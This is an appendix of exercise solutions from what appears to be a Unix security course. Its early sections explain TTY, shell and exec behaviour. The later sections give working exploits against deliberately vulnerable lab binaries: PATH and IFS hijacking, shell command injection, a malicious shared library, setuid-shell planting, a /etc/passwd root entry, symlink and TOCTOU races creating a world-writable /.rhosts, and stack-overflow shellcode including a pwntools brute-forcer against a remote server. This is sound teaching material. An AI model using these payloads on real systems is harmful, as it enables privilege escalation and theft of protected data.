
D. Solutions to the exercises

D.1 Unix

2.1 Unless uid is zero (i.e., the root user is logging in), we cannot call setgid() after the call to
setuid(), since once the uid is greater than zero, the process can no longer set its gid to arbitrary
values, and the setgid()call would return an error (“Permission denied”).

R Note that if we ignore the error and let the process continue, it will retain its previous group,
i.e., root! The root group is not privileged by itself, but it may open up other routes that lead to
root privilege anyway (e.g., by abusing write access to important files), or give read access to
confidential files.

If we move the chdir()call before the call to setuid(), the chdir()will succeed indepen-
dently of the permissions on the directory, since at that time the process would still be running as root.
This looks uselessly dangerous, even it is unlikely that it can be exploitable by itself (normal users
cannot choose their home directory).

Finally, moving any call after the call to execve()makes no sense, since a successful execve()
doesn’t return and therefore the call would be executed only if execve()failed.

2.2 As soon as you entered Ctrl+D, cat woke up and printed the other characters that you entered, on the
same line. This is because Ctrl+D is actually used as an “end of input” by the TTY module: it is an
order to pass the characters accumulated so far to the reading process. Ctrl+D works as an EOT only
when entered on an empty line: the process will wake up, it will receive 0 characters, and will interpret
this as an end-of-file condition (look at the while condition in src/cat1.c).

2.3 Without the -l option (commands 1 and 2), ls5 needs the read permission to call getdents();
therefore, command number 1 fails and command number 2 succeeds. In commands 3 and 4, ls5
needs both the read permission for getdents()and the search permission be able to call stat()on
every file inside the director; command 4 fails immediately, but command 3 is a bit different: it is able
to show the contents of the directory, but it causes an error for each one of them.
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D.2 How a Unix shell works
3.1 If you try, you should see some strange output that mentions the uptime, login and such. As we learned

in Ex. 2.2, as soon as we enter Ctrl+D, 1-basic wakes up and processes the other characters that we
have entered. In our case, 1-basic received “/bin/usr/wc”, i.e., 11 characters with no ending
newline, it replaced the last one (“c”) with the string terminator, and then tried to execute the resulting
“/usr/bin/w”. This is an old command that is meant to show the currently logged-in users and the
programs that they are running (it may not be able to actually show anything useful, depending on how
your system is configured).

3.2 You obtain an Exec format error: the kernel doesn’t recognize your file as something than can be
executed. Indeed, it is just a text file that needs an interpreter, and not something that can be simply
loaded into memory and then executed directly by the CPU.

3.3 This time the script works: if the first two characters of the file are “#!” (sometimes called a shebang),
then the rest of the line is the path of an interpreter for the file, optionally followed by whitespace and
then a single argument for the interpreter. In this case, the kernel itself will actually load the interpreter,
passing it the option (if present) and the full path of the original file. In our case, assume that the
script file is in the current directory and we type ./script. The kernel will actually run

/bin/sh ./script

The shell will then open and interpret the script file.
Note that the new shell will see the first line of the script, which was meant for the kernel. This

works because “#” is the start-of-comment character for the shell, so the line will be ignored. Other
interpreters (like awk, perl, python and many, many others) also use “#” as a comment character,
so this feature automatically works for them too.

3.4 The characters that we see are the echo of the escape sequences explained in Section 2.3. They have no
special meanining for the TTY module in the kernel. The advanced editing features that we are used to
are implemented in userspace, typically in the libreadline library. This library was originally a
part of bash, but later it was made into a separate package and now is used by bash and many other
interactive programs. It sets the terminal in raw mode, disabling echo and line editing in the kernel,
and then implements all the advanced editing functions (including command history) in userspace. We
are not using libreadline, and this is why our shells lack these functions.

3.5 Yes it works and it does not depend on the contents of PATH. Follow the rules: is there a slash in the
string? Yes. So PATH is not used and the string is passed as-is to execve(). The kernel will then
interpret it as a relative path, correctly leading to the exe file.

R Many people seem convinced that the “./” prefix is necessary whenever you want to specify a
relative path (e.g., some people may type something like cat ./file). This is not the case:
“./” is needed only to trick the shell (or similar programs) into not using PATH, and you only
need it if you don’t already have a slash in your path. Moreover, relative paths of files passed as
arguments to other programs need “./” only if the program itself is using some execlp()-like
logic to parse the paths, which is almost never the case. For example, cat will simply pass the
“file” string to open()(but see Exercises 3.7 and 3.14).

3.6 This time the script is executed. This is another feature of execlp() and the other exec*()
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functions with a p in their name: if the first execve(path, . . .) fails, they try a second time with
execve("/bin/sh", . . .)with path as an argument. The shebang feature described in the solution
of Exercise 3.3 can be seen as a generalization of this behavior, implemented directly by the kernel.

The v2 manual (1972) describes a similar feature, but limited to files found in /bin. The
more general feature was introduced in the PWB shell and then added to the v7 shell by Steve
Bourne.

R Note that, unlike for shebang files, a setuid/setgid script set on a script can’t have any effect in
this case, because the kernel never execve()s the script itself, only the shell, which then just
open()s the script. In Linux, of course, the two cases are indistinguishable in this respect, since
setuid/setgid flags are ignored for shebang files too (see the remark in the solution of Ex. 3.3).

3.7

catdash

The cat command, like many others, interprets “-” as standard input, i.e., it will start reading from
file descriptor 0 instead of trying to open("-"...) (see cat3.c in the mynix sources). The trick is
that this behavior is only triggered by the exact “-” string, so any other equivalent path will work:

cat ./-

3.8 The relevant part of 4-bultin.2.c is in lines 47–58:

4-builtin.2.c47 if (!strcmp(c_argv[0], "umask")) {
48 mode_t m;
49
50 m = umask(0);
51 if (c_argv[1] == NULL) {
52 printf("0%03o\n", m);
53 } else {
54 m = strtol(c_argv[1], NULL, 8);
55 }
56 umask(m);
57 continue;
58 }

In a typical UNIX-minimalist design, there is a single system call to read and write the umask:
umask(x)sets the umask to x and returns the previous value. This means that if you want to read
the umask without modifying it, you need to call umask()twice. This is what we do when the user
has typed umask without arguments: first we set it to an arbitrary value (line 50), then we print the
previous value (line 52), and finally we reset it (line 56). If the user has passed an argument, we change
the value before resetting the umask (line 54).

3.9 To implement the feature we need to recognize the >> syntax and pass the O_APPEND flag in-
stead of O_TRUNC to the open() call in redirect(). In the proposed solution, we modify the
getredirs() function to recognize the >> operator as soon as possible. If we consider only the
shell features available up to this point, it may not be clear why we don’t simply check for the sec-
ond > in redirect() itself. However, with the addition of variables and quoting, we can see that
redirect() is called too late in the chain of processing, and may misinterpret a > character that
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actually came from a variable expansion, or was originally quoted.
We defintion of getredirs() in 5-redir.2.c is as follows:

5-redir.2.c134 {
135 int i;
136
137 for (i = 0; i < nwords; i++) {
138 word_t *nw = &words[i];
139 if (nw->w[0] == ’<’ || nw->w[0] == ’>’) {
140 nw->type = W_REDIR;
141 if (nw->w[0] == ’>’ && nw->w[1] == ’>’)
142 nw->w[0] = ’A’;
143 }
144 }
145 }

Lines 142 and 143 are new: if the first > is followed by a second one, we remember that the redirection
word should open the file in append mode. We use a trick here, to avoid changing too much of the rest
of the code: since the redirect() function decides what to do based on the first character of the
redirection word, we change that character to something else (an A in this case). Then, in redirect(),
we can just add a new branch to the if:

5-redir.2.c162 flags = O_WRONLY | O_CREAT | O_APPEND;
163 fname++;
164 close(1);
165 } else {
166 flags = O_WRONLY | O_CREAT | O_TRUNC;

Note, at line 164, that we need to skip the second character to reach the name of the file.

3.10 The redirection is performed by the shell, in the forked process, before executing sudo. So, the process
will try to open() the f file before the kernel has had any chance to change the user id, and will
therefore fail.

One trick is to use sudo to run some command that opens the file by itself and then writes into it,
so that the open() is performed after the execve(). The tee(1) command is good enough for this
purpose: it copies its standard input to standard output and to all the files passed as arguments:

$ echo something | sudo tee f

This has the annoying side effect of writing something to standard output too. In a script we might
prefer

$ echo something | sudo tee f >/dev/null

3.11 When we run “bash <script”, we see the “hello” output and then get our prompt back

R Note that we explicitly use bash instead of sh. This is because most versions of dash, the shell
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used in Debian and its derivatives for /bin/sh, contain exactly the bug we are discussing here
and will behave incorrectly, just like the modified 6-intr shell.

To understand what is going on, it is important to remember that a parent process shares not only the
open files with its children, but also the read and write pointers to those files. Therefore, bash reads
the cat line from its standard input and then spawns the child process that executes /bin/cat; the
child process continues reading where bash left off, consuming the hello line and printing it. Since
the script is now over, cat sees an EOF and exits; bash wakes up and tries to read more lines from
standard input, but since the shared read pointer has reached the end of the script, bash sees an EOF
and also exits. This is the expected and correct behavior in these scenarios.

Now we try with “6-intr <script”. This time we get an error:

hello: No such file or directory

The error comes from 6-intr, and can be explained as follows: the modified 6-intr did not disable
stdio buffering, and therefore the fgets()in getcmd()internally read past the end of the first line,
actually consuming the entire script and copying it into the stdio input buffer. The 6-intr shell
then spawned the cat child, which terminated immediately (since stdin was at EOF); 6-intr woke
up from the wait()and called fgets()again; the function extracted the hello line from the input
buffer and finally 6-intr tried to execute a non-existent hello command.

If we add a second hello line to the script and repeat the experiment, we see something strange:

hello: No such file or directory
hello: No such file or directory
hello: No such file or directory

The 6-intr shell has tried to execute hello three times instead of two. The problem now is with
the cleanup functions that stdio runs on exit(). When we fork()a process, the child starts with a
copy of the parent’s memory, which contains the entire state of the stdio library, including its buffers
and its registered cleanup functions. If the child execve()s another program, this state is wiped out;
if it doesn’t, the cleanup functions are called in the child: this is what happened when the first child
failed to execve()the nonexistent hello command and therefore continued to use the copy of the
6-intr shell’s memory: at exit(), the stdio cleanup function saw that the input buffer contained a
line that had not been consumed (since the fork()was done when 6-intr had only extracted the
first hello line) and issued an lseek() to move the read pointer back. Since the read pointer is
shared with the parent process, the 6-intr shell saw the second hello line again!

If you add a third hello line to the script, “6-intr <script” will result in an infinite loop:
the first fgets()will cache the whole script, and the shell will spawn a process for each hello
line; at exit, the first child will move the read pointer back to the beginning of the second hello line;
the second child will try to move it back to the beginning of the third hello line, but since it uses a
relative offset and the read pointer has already been moved by the first child, it will move the pointer
further back, to the beginning of the script. The shell is then forced to start over, and this will repeat
forever.

R In this case, most of the strange behavior can be avoided if we call _exit()instead of exit()
in the child process. The _exit() function calls the primitive directly, while exit() first
performs all the userspace cleanups. In particular, exit()calls all the functions registered with
atexit().

3.12 The “$X” is expanded by the shell before interpreting the line, and in particular before updating the
environment with “X=aaa”. Therefore, “$X” expands to nothing and echo prints an empty line. If
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Figure D.1 – Processing of the characters in the first command of Ex. 3.15

the purpose is to print “aaa”, the assignment must be performed in a previous line with an empty
command, so that the shell environment itself is updated:

$ X=aaa
$ echo $X

In a normal shell this would also work:

$ X=aaa; echo $X

It doesn’t work in 5-intr because the semicolon is not recognized as a command separator.

3.13 The first two commands produce exactly the same output, even if the first one is psycologically nicer.
The third one prints all the spaces between Hello and World, while the last one prints only one space
between them. Note that echo never sees the unquoted spaces: they are parsed by the shell. The first
and third echo instances receive a single argument while the second and third instances receive two
arguments (not counting argv[0]).

3.14 No, this cannot solve the problem, since the quotes are only seen by the shell and cat will still receive
the unadorned “-” string.

3.15 The first command ouputs:

q \q \q

The first backslash is interpreted as a metacharacter. It quotes the next character, q, and is then removed.
It doesn’t matter that q is not a metacharacter, its QUOTE bit is set and then reset, without any effect.
Within single quotes, the backslash is a normal character and doesn’t trigger any special action. Within
double quotes, the backslash is a metacharacter only when followed by certain characters, none of
which are q (see the remark in Section 3.8). Figure D.1 shows how the characters are processed by the
relevant functions in the shell. The quote()function quotes the q following the first backslash and
all the characters between the single and double quotes. The unquoteall()function removes the
remaining unquoted quote characters and unquotes all the other characters.

The output of the second command is as follows:

" \" "
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Figure D.2 – Processing of the characters in the second command of Ex. 3.15

Note the missing backslash in the third word. This time, the backslash inside the double quotes is
interpreted as a metacharacter because it is followed by one of the characters that trigger this behavior:
the double quotes. Therefore, it behaves just like the first backslash; it quotes the next character and is
removed at the end. Figure D.2 shows the processing in this case. Note the subtle difference between
Figures D.2 and Figure D.1: the backslash inside the double quotes is recognized as a metacharacter. It
quotes the next character, which is not recognized as a string terminator. It is not quoted itself. The
unquoteall()function recognizes this unquoted backslash and removes it from the buffer, along
with all the others unquoted quote characters. To help remove the confusion, the Figure also shows
which non-null characters are copied in the final buffer by unquoteall().

3.16 All but the first one. The point is that the echo command should receive the “\x21” string. However,
in the first command, the shell interprets and removes the backslash. The other commands quote the
backslash, so it is correctly received by echo.

3.17 There are at least a couple of ways to implement this without changing too much of the existing code.
In the quote()function, while parsing a string in double quotes, we should recognize the presence of
dollars non preceeded by backslash and followed by identifiers. Then, we can either

• immediately call expandvar() to output the value of the variable (if any), or
• leave the dollar and the identifier unquoted, so that expandall()will later see them.

The proposed solution uses the latter technique, because it simplifies the implementation of other
shell features (in particular, field splitting and its weird interactions with $@ in sh3.c in mynix).
In all cases, we should make sure that the characters that result from the expansion are quoted. In
the proposed solution we add a new quote parameter to expandvar() and oputexp(). The
oputexp()uses it to quote all the characters added to the obuf (instead of just quote metacharacters).
The expandword()function must recognize the expansion of dollars that occur within douple quotes,
and pass QUOTE to expandvar(). This is simple to do, since quote()has left unquoted only the
double quote characters that actually delimit quoted strings.

Figure D.3 shows an example. The user has entered “echo "a $X d"”. Assume that X has been
set to “b c”. The quote() function leaves $X unquoted. The expandall() (or, more precisely,
expandword()) function sees the $X and expands it. Since the expansion occurred within double
quotes, it quotes the result by passing QUOTE to expandvar(). The result is in buf′′′. Finally,
unquoteall() removes the QUOTE markings and the quote metacharacters. The echo program
receives “a b c d” in argv[1].
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Figure D.3 – Example execution with variable expansion inside double quotes

3.18 The 8-quote.3.c file contains a new getcont()function defined as follows:

8-quote.3.c439 {
440 if (feof(stdin))
441 return 0;
442 if (interactive) {
443 fprintf(stderr, "> ");
444 }
445 return fgets(buf, MAX_LINE, stdin) != NULL;
446 }

The function reads another line from stdin, printing the secondary prompt if the shell is interactive. We
call this function from quote(), if we hit the end of the string while processing single/double quotes
and backslash. For backslash and double quotes, we also need to handle the special case of backslash
followed by newline: the two characters must not be copied in the output buffer.

D.3 Exploiting the environment

5.1

badpath

We can create a fake ls and put it in /tmp. The fake ls must be executable (otherwise root’s shell
will not pick it) and can contain the payload that we need (e.g., to create a setuid-root copy of the shell).
However, root must not detect us: the fake ls must behave like the real one, while still hiding itself.
This can be accomplished with a script like this:
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cp /bin/sh /home/user1/x
chmod u+s /home/user1/x
rm ls
ls "$@"

Note how we remove the script while it is still running, but this is not a problem: Unix will unlink the
name in the file system, but it will actually release the inode and the disk blocks only when the file
is no longer in use. Once the fake ls is gone from /tmp, we can safely call the real one. The "$@"
syntax will expand to the list of arguments that root has passed to the script.

To execute the attack we can do as follows:

$ cat >ls
cut and paste the above payload, then Ctrl+D

$ chmod +x ls
$ cp ls /tmp

Now we wait for root to go in /tmp and run our fake ls. After at most one minute, we should see the
x file in our home directory. Finally:

$ ./x
# cat /root/secret

The cat command will be executed in a root shell.

5.2

dll1

We just need to implement the exploit outlined in the text. We need to know what libraries are used by
dll1. There are tools that give this information directly, but we don’t know about them yet. In this
case we can obtain the same information by reading the Makefile, that contains the command that
was used to build dll1. We can see that the program was linked with two dynamic libraries (names
ending in .so): libfoo.so and /lib/libc.so. The second one contains slashes, but the first
one does not; therefore, the dynamic linker will use LD_LIBRARY_PATH when searching for it. The
Makefile also contains the command that was used to build libfoo.so: we can copy it or, better
yet, we can delete foo.c, replace it with our own, and then rebuild the library:

$ rm foo.c
press ‘y’ when asked

$ cat >foo.c
#include <stdlib.h>
void foo()
{

system("/bin/sh");
}

type Ctrl+D
$ make libfoo.so

Now we can redirect the dynamic linker to our malicious library:
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$ LD_LIBRARY_PATH=. ./dll1

This should give us a shell with a dll1_pwned group id, enabling us to read the flag.txt file.

5.3

badpath2

The badpath2 executable calls system("mkdir ..."). Since "mkdir" does not contain any
slashes, the shell will use the PATH variable. The PATH variable is inherited from the parent processes
and, ultimately, is controlled by the attacker. The following commands will give us a root shell:

$ echo sh >mkdir
$ chmod +x mkdir
$ PATH=:/bin badpath2

We create a mkdir script that invokes the shell, then we call the badpath2 binary with a PATH that
includes the current directory (the null string before the colon). The shell invoked by system()will
execute our script instead of the /bin/mkdir program. The scripts then starts an interactive shell.

5.4 The execlp()function uses PATH just like the shell, so it can be exploited in exactly the same way.

5.5

badifs1

The badifs1 program uses a full path and a constant string. Nonetheless, we can change the
interpretation of the string by changing the value of IFS, as follows:

$ echo sh >bin
$ chmod +x bin
$ PATH=:/bin IFS=/ badifs1
# cat ’/root/secret’

The last line is executed in the root shell. Note that we quoted /root/secret, since the shell has
inherited the new IFS and slashes are now field separators.

This example works because /bin/sh in this challenge is actually bad2sh, a shell that does not
follow the POSIX standard in the interpretation of IFS. Instead, it works like the original Bourne shell
in Unix v7. In particular, bad2sh first skips all IFS characters at the beginning of the word, and then
splits the word into fields using the IFS characters as separators. When bad2sh splits /bin/cp it
obtains only two fields: bin and cp.

5.6

badifs2

The badifs2 binary calls the (existing!) /bin/shar (SHell ARchive) command with a full path
and constant options.

The shell used in this challenge (bad3sh) follows the POSIX standard more closely than the one
in Ex. 5.5, so the IFS=/ attack will not work. In fact, the standard says that only IFS whitespace
must be skipped, i.e., only the whitespace characters contained in IFS, if any. Since the initial “/”
in “/bin/shar” is not whitespace, the shell would not skip it and would use it as a field delimiter,
obtaining three fields: an empty string, bin and shar. The shell will then look for a command with
an empty name, which is not a legal file name.

However, we can set IFS=a, causing the /bin/shar command to become

/bin/sh r /bin -o /etc/b ackup/bin.sh r



D.3 Exploiting the environment 347

i.e., execute /bin/sh on the r script passing it a bunch of other options we don’t care about. Since r
is a relative path, we can create an r script in the current directory:

$ echo sh >r
$ IFS=a badifs2
# c\at /root/secret

The last command will be executed in the root shell. Note that we need to escape a. Note also that this
time there is no need for r to be executable, since the shell will only try to use read()on the script.

5.7 The IFS variable is only understood by the shell, so it cannot affect execl(). Note that execlp()
would be safe too, for the same reason; moreover, since the first argument contains slashes, execlp()
is also not affected by PATH.

5.8

badmeta1

The program accepts an argument and does not sanitize it, so we can pass arbitrary commands to the
shell:

$ badmeta1 ’x
> sh’

Note the newline inside the single quotes, to terminate the previous command. In a more capable shell,
we could have also used a semicolon, like this:

$ badmeta1 ’x;sh’

In both cases, the shell continues parsing the second command (i.e., sh) after processing the first one
(i.e., “/bin/mkdir /etc/x”).

5.9

badmeta2

We can terminate the double-quotes string that the programmer tried to create, and then continue with
our own malicious payload:

$ badmeta2 ’x";sh;:"’

The shell will receive the string “/bin/mkdir "/etc/x";sh;:""”, which contains three com-
mands: the first one, that creates the /etc/x directory, the second one, that spawns our root shell, and
a third one (run when we exit from the root shell) that does nothing and is used just to create something
which is syntactically valid.

5.10

badmeta3

The escape()function doesn’t quote the backslashes, so we can write as follows:

$ badmeta3 ’x\";sh;: \"’

The shell will receive the string “/bin/mkdir "/etc/x\\";sh;: \\""”. The backslashes
inserted by escape()are the second ones in each pair. The shell will interpret each pair of backslashes
as a quoted backslash character, with no special meaning, and the following (injected) double quotes
will work as usual. Therefore, the string still contains three commands: the first one, that creates the
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/etc/x\ directory, the second one, that spawns our root shell, and a third one that does nothing.

5.11

badmeta4

Since the blacklist doesn’t contains the dollar character, we can inject a “$(command)” string to
exploit command substitution, which works even inside double quotes.

Which command should we inject? We need to consider that the command will be executed with
its stdin redirected from /dev/null, and its output will be captured and put inside the string passed
to the shell. Therefore, something like “$(sh)” would be of no help: the spawned shell would return
immediately. One possibility is to use the payload of Section 5.1:

$ badmeta4 ’$(cp /bin/sh .; chmod u+s sh)’

Note that our commands don’t print anything, so the shell spawned by system()will try to run
“mkdir /etc/” and will complain that the directory already exists. It doesn’t matter: by then, our
commands will have already run and we should find a setuid-root copy of sh in the current directory.
By running ./sh we become root.

Another possibility is to redirect stdin and stdout inside the command, since these redirections are
performed after the ones performed by the command substitution mechanism. By running tty we can
see that our terminal is /dev/tty0. Then we can run:

$ badmeta4 ’$(sh </dev/tty0 >/dev/tty0)’

D.4 Symbolic links
6.1

badlog

The badlog program accepts one or more filenames from the command line. It tries to access each
one of them and logs any error in a log file in the current directory.

Since badlog tries to create the log with the O_CREAT flag (implicit in the use of fopen()
with the "a" mode), it will also open any existing file or link with the same name.

The idea is then to append a line to /etc/passwd, giving us root access. We can proceed as
follows:

$ ln /etc/passwd log
$ badlog x::0:0::.

This will append

x::0:0::.:open failed

to /etc/passwd. This is a valid entry for user x with no password, a 0 user id, a zero group id and
the home directory set to the current directory. The last field, which should contain the user’s shell,
contains “open failed”. Interpreted as a path, it is relative, so we can simply link it to /bin/sh:

$ ln /bin/sh ’open failed’

Now we can login as user x, with superuser powers:

$ login x

(Type enter when asked for the password).
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6.2

badmail

The idea is to let the access()call to check a file that we can actually read. Then, while the mail
program reaches the open()call, we remove the file and create a link with the same name, pointing to
/root/secret.

$ echo ’bad luck’ > msg
$ mail msg user1 & rm msg; ln /root/secret msg
$ cat mailbox

The echo command creates the msg file that we can read. Then, we run mail in the background,
apparently sending that file to ourselves. In the meantime, we remove the msg file and create the link
with the same name; finally, we check the contents of the mailbox file.

The sequence of events that we would like to obtain is:
1. mail calls access();
2. the original file is deleted by “rm msg”;
3. “ln /root/secret msg” creates the new msg, pointing to the secret;
4. mail calls open(),

If the sequence is exactly the above, step 1 will check the original msg (the one containing “bad luck”)
and step 4 will open the secret file. At the end of the sequence, there will be a mailbox file in our
home directory containing the /root/secret file’s contents.

Of course, many other sequences are possible.
• If we see “msg: permission denied”, the sequence was 2, 3, 1 (without step 4).
• If we see “msg: no such file or directory” and no mailbox file has been created,

the sequence was 2, 1, 3 (without step 4).
• If we see “msg: no such file or directory” with an empty mailbox file, the

sequence was 1, 2, 4, 3.
• If we don’t see any error, but the mailbox contains “bad luck”, the sequence was 1, 4, 2, 3.

In all these cases we can simply retry.

6.3

badscript1

If we pass the -i option when we invoke a POSIX shell, the shell will start in interactive mode,
reading commands from its standard input, even if there are other arguments. Therefore, the idea is to
let path1 = -i. This can be easily achieved as follows:

$ PATH=:/bin
$ ln /bin/badscript1 -i
$ -i

The last command will find the -i link in the current directory and execute it. The shebang mechanism
will run the equivalent of “/bin/sh -i”, giving us an interactive root shell.

Note that we need to add the empty path to PATH, because we don’t want the shell to change the
“-i” string. If we add a dot to PATH, instead, the shell will pass “./-i” to execve(), which the
shell will not recognize as an option.

6.4

badscript2

The idea is to use links to redirect a path from the original script to a malicious one. We want to
achieve the following sequence of events:

1. the kernel completes the execve();
2. we redirect the path to the malicious script;
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3. the setuid shell open()s its first argument.
If the sequence is the above one, the path used in step 1 will point to the original script, and therefore
the kernel will spawn a setuid shell, while step 3 will open the malicious script.

If the first step in the sequence is step 1, we can increase our chances to run step 2 before step 3
by slowing down the process that runs the shell. This can be achieved using the nice utility, which
executes programs at lower priority (i.e., it is “nice” to other users). The first argument of nice is the
amount of niceness, from 1 to 19, followed by the command to be executed and its arguments.

We can then proceed as follows:

$ echo ’cat /root/secret’ > malicious
$ ln /bin/badscript2 path
$ nice 19 ./path & mv malicious path

If evertything goes as expected, we will see the contents of /root/secret printed on standard
output. If we see “./path: permission denied”, step 2 was completed before step 1. If we
don’t see anything, step 2 was started after step 3 (but nice makes this sequence very unlikely). In
both cases we should retry.

6.5

badtmp1

This suid-root program creates a temporary file named /tmp/tmpfile using fopen()with "w"
mode. This mode will create the file if it does not exist, and also follow any symbolic link in the path.
The idea is to abuse this program to create a /.rhosts file that is writable by the attacker. Once the
file has been created, the attacker can write the IP address of any machine she owns (or the + wildcard)
and then connect remotely from that machine to the root account without having to guess the root
password.

First, the attacker creates a symbolic link to /.rhosts:

$ ln -s /.rhosts /tmp/tmpfile

When the suid-root program will be run, the fopen() in the program will create the /.rhosts
file. The fopen()function passes mode 0666 to the open()system call, asking for read and write
permission for everybody (owner, group and others). The kernel, however, will remove the permissions
found in the process’ umask. This is not a problem for the attacker, since the process will inherit the
umask from the attacker’s shell: the attacker can simply reset her own umask to 0 before running the
vulnerable program:

$ umask 0
$ badtmp1

Now the /.rhosts file has been created with write permission for everybody, and the attacker can
therefore write into it:

$ echo + >/.rhosts

Then, she can connect from any remote machine. In our setup, we can connect from the same machine.
Just type:
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$ rsh

Then answer root to the login: prompt. The rshd server will let you enter without asking for a
password. Now you can read the flag:

# cat /root/secret

6.6

badtmp2

This is just like badtmp1 of Ex. 6.5, but the programmer has tried to create a temporary file with
a name which is harder to guess, since it includes the pid of the current process. Pids, however, are
assigned sequentially, and therefore are easily guessed. Assume, for example, that nobody else is using
the system besides the user1 attacker. Then user1 can run, e.g.,

$ ps

and note the pid of the ps process itself. Assume it is 65. Then she can type

$ ln -s /.rhosts /tmp/tmpfile.67
$ umask 0
$ badtmp2

In fact, the ln command will be executed by process 66, umask is an internal command that will be
executed by the shell without creating any new process, and therefore badtmp2 will be executed by
process 67. Even if other processes are being created concurrently by other users, the problem becomes
only slightly more difficult for user1: she can just try again if the guessed pid was wrong, and she can
also create more than one symbolic link to allow for a range of possible pids.

From this point on, the exploit continues as in Ex. 6.5.

6.7

badtmp3

Here the programmer has tried to create /tmp/tmpfile only if it doesn’t already exist. The program,
however, contains a Time-Of-Check-to-Time-Of-Use (TOCTUI) problem: since the check and the file
creation are performed in two distinct system calls, the check/creation combination is not atomic and
the attacker may create the link between the check and the fopen(). The timing is tight, but we can
create a script:

$ cat > bf
umask 0
: loop
badtmp3 & ln -s /.rhosts /tmp/tmpfile
cat /.rhosts && exit 0
rm /tmp/tmpfile
goto loop

Inside the loop, we create two processes, one running badtmp3 and another running the ln command,
and we let them run concurrently (with the & character). We then check if /.rhosts has been created,
by trying to open it with cat. In case of success, we exit from the script; otherwise, we remove the
link and try again.

Now we make the script executable and run it:
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$ chmod +x bf
$ ./bf

After a few loops, the script should stop and we should see the /.rhosts. From this point on, the
exploit continues as in Ex. 6.5.

6.8

badtmp4

The protected_hardlinks mitigations is not set, so we can create an hardlink to the badtmp1
program before root deletes it, e.g.:

$ ln /bin/badtmp1 x

Our link will keep the file alive with the new name. Now we wait until root deletes badtmp1 and
starts rshd, then we continue as in Ex. 6.5, using ./x instead of badtmp1.

6.9 The protected_symlinks mitigation would have prevented the attack, since the setuid programs
would have received a “Permission denied” error while trying to open()the attacker’s symlink, and
the /.rhosts file would have not been created.

The attacks are based on the creation of a link to a non-existing file, which is possible only with
symlinks. Therefore, the attacks are not affected by the protected_hardlinks mitigation.

D.5 Code injection
7.1

stack4

To overwrite the return address of start_level()we need to know its offset from the beginning of
buffer. This can be obtained easily by using cyclic from the pwntools library:

$ cyclic -n8 100 | ./stack4

The program itself prints that it will be returning to 0x616161616161616c so, we just have to ask
cyclic where this pattern occurs in its -n8 sequence:

$ cyclic -n8 -l 0x616161616161616c

We thus find out that the offset is 88, i.e., we have to feed the program with 88 garbage characters,
immediately followed by the address that will overwrite the saved rip.

Since we want to jump to complete_level(), we look up its address with

$ nm stack4 | grep complete_level

obtaining 0x4011a2.
Now we can inject the arc (see also the stack3 challenge):

$ python3 -c ’print("A"*88+"\x40\x11\xa2"[::-1])’ | ./stack4

Note: we don’t inject the zeros in the higher part of the address just for convenience, since the
overwritten saved rip already had them. Since the program uses gets()we could have injected them
as well.
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7.2

stack4a

This is the same as Ex. 7.1, but the program does not reveal the cyclic pattern spontaneously, so we
have to get it from a crash dump. Since the program is setgid, we need to make a copy first:

$ cp stack4a stack4a-copy
$ ulimit -c unlimited
$ cyclic -n8 100 | ./stack4a-copy
$ gdb stack4a-copy core

Note that we don’t see the cyclic pattern in the rip register: since the pattern is not a canonical address,
the processor refused to load it into rip and left it on the top of the stack. We can print it with

pwndbg> x/xg $rsp

(or with “info frame”, which also prints other information that may be useful in general). We
obtain 0x616161616161616a and then

$ cyclic -n8 -l 0x616161616161616a

gives us 72. With nm we also find the address of complete_level() (0x401192). Now we can
inject the arc as before:

$ python3 -c ’print("A"*72+"\x40\x11\x92"[::-1])’ | ./stack4a

7.3

stack4.5

First we obtain the length (in bytes) of the new code:

$ shellcraft amd64.linux.setregid | wc -c

It is 16 bytes long. Now we can inject the new code before injecting the shellcode proper:

$ {
> shellcraft -n -f raw amd64.linux.setregid
> shellcraft -n -f raw amd64.linux.sh
> python3 -c ’print("A"*(136-48-16) + "\x40\x34\x40"[::-1])’
> cat
> } | ./stack4.5

Note that we have subtracted 16 from the padding generated in python3. This time the shell will
keep the stack4.5_pwned group, allowing us to read the secret flag.

7.5

stack5a

First we import the pwntools library and set the architecture to AMD64:

stack5a.py1 from pwn import *
2
3 context.update(arch=’amd64’)

We create the shellcode and define a nop variable containing the opcode of the NOP instruction.
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stack5a.py4 shellcode = asm(shellcraft.sh())
5 nop = asm("nop")

We set the parameters of the exploit, as in Figure 7.11:

stack5a.py6 shstack = 6*8
7 offset = 136
8 nopsled = offset - len(shellcode) - (shstack - 8)

The variable payload1 contains the invariant part of the payload that tries to exploit the buffer
overflow. It contains everything except the jump target, which is the part we have to guess. The variable
payload2 is just the command that we try to send to the shell, to test the success or failure of the
exploit.

stack5a.py10 payload1 = nop * nopsled
11 payload1 += shellcode
12 payload1 += b"A" * (shstack - 8)
13
14 payload2 = b"cat flag.txt"

Now we start the brute-force loop, for every possible base address (where “base” is defined as in
Figure 7.11 in the stack memory range. We start from the bottom of the range, since the stack is likely
small. The nopsled also allows us to try fewer addresses.

stack5a.py

16 for base in range(0x7ffffffff000, 0x7ffffffde000, -nopsled):
17 log.info(f"===> {base:x}")

We try to jump in the middle of the nopsled, to tolerate both negative and positive offsets between the
real base and the one we are trying.

stack5a.py18 buffer = base - (offset + 8)
19 jmptarget = buffer + nopsled//2

For each attempt, we connect to the server and inject the full payload.

stack5a.py21 io = remote(’lettieri.iet.unipi.it’, 4405)
22 io.recvline()
23 io.sendline(payload1 + p64(jmptarget))
24 io.sendline(payload2)

If the exploit was successful, the server was turned into a shell who then executed payload2, printing
the flag. We try to read a line from the server and search for the string "SNH" in it, breaking the loop
in case of success. Note that we wrap the io.recvline() in a try/except construct, since failed
attempts will cause the server to crash and close the connection.

R In some rare cases, it may happen that the exploit fails, because the base is wrong, but still the
server manages not to crash, since the jmp target sent it to some valid code, maybe even an infinite
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loop. To make the exploit more robust, we should add a timeout to the recvline(), to break
out of this situation and try the next base.

stack5a.py25 try:
26 repl = io.recvline()
27 if b"SNH{" in repl:
28 log.success(repl.decode())
29 break
30 except:
31 pass

We are here because the current attempt failed. Before moving to the next attempt, we close the current
connection, to avoid keeping too many file descriptors opened.

stack5a.py32 io.close()

7.7

canary2

This server contains a buffer overflow bug. The buffer overflow comes from the fact that the child()
functions uses the untrusted len, obtained from the outside, to drive the fgets()function.

The attacker can use this bug to precisely control how many bytes can be overwritten by her payload.
This feature can be used to leak the canary one byte at a time. First we overwrite the LSB of the canary
with all possible values from 0 to 255 until the server doesn’t crash. The value that lets the server
continue execution normally must then be the LSB of the canary (for GNU libc we actually already
know that this value is zero). Now we overwrite only the next byte of the canary, using the correct
value for the LSB. The byte value that lets the server survive must be the value of the next byte of the
